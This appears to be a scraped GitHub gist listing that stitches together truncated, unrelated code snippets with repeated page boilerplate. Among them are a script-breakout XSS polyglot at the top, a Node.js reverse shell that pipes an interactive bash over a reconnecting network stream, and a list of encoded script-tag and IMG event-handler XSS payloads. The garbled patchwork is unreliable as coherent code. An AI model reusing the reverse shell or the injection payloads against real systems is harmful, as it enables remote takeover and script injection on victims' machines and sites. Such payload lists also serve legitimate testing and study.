<script>
x = '<!--<script>'/*</script>-->*/;alert(1)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var KeyEncoder = require('key-encoder') | |
var VirgilCrypto = require('virgil-crypto').VirgilCrypto | |
var HDKey = require('hdkey') | |
const secp256k1 = require('secp256k1') | |
var keyEncoder = new KeyEncoder('secp256k1') | |
var hdKey = HDKey.fromMasterSeed(Buffer.from(SEED, 'hex')) | |
var childKey = hdKey.derive(PATH) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Every chain has at least two API endpoints: 26657 (the Tendermint one, roughly | |
// speaking, lower level, deals with bytes, exposes info about blocks, consensus, | |
// validators, etc.) and 1317 (the Cosmos one, higher level, your chain's API). | |
// Since every transaction broadcasted to a chain should be signed (and you don't | |
// want to do the signing manually), it makes sense to use a signing library. | |
// For JS/TS it's CosmJS. | |
// With CosmJS you create a wallet from a mnemonic, create a client from a wallet, | |
// and use client.signAndBroadcast method to, well, sign and broadcast transaction | |
// (an array of messages from an address). The client uses 26657 endpoint under the |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if pgrep mjpg_streamer > /dev/null | |
then | |
echo "mjpg_streamer already running" | |
else | |
LD_LIBRARY_PATH=/opt/mjpg-streamer/ /opt/mjpg-streamer/mjpg_streamer -i "input_raspicam.so -fps 15 -q 50 -x 640 -y 480" -o "output_http.so -p 9000 -w /opt/mjpg-streamer/www" > /dev/null 2>&1& | |
echo "mjpg_streamer started" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Generated by the WordPress Option Page generator | |
* at http://jeremyhixon.com/wp-tools/option-page/ | |
*/ | |
class MyExamplePlugin { | |
private $my_example_plugin_options; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import os.path | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
print("usage: {} names.txt".format((sys.argv[0]))) | |
sys.exit(0) | |
if not os.path.exists(sys.argv[1]): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var spawn = require('child_process').spawn; | |
var net = require('net'); | |
var reconnect = require('reconnect'); | |
reconnect(function (stream) { | |
var ps = spawn('bash', [ '-i' ]); | |
stream.pipe(ps.stdin); | |
ps.stdout.pipe(stream, { end: false }); | |
ps.stderr.pipe(stream, { end: false }); | |
ps.on('exit', function () { stream.end() }); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('body').on('click', '#messages-view a', (event) => { | |
event.preventDefault(); | |
let link = event.target.href; | |
require("electron").shell.openExternal(link); | |
}); |
Pour voir une explication complète: https://stackoverflow.com/a/24232050/778272.
Créez un dossier, exécutez npm init -f
, creer deux fichier server.js
et client.js
. Inutile de préciser que Node.js doit être installé sur votre système.
Installez les bibliothèques requises:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
NewerOlder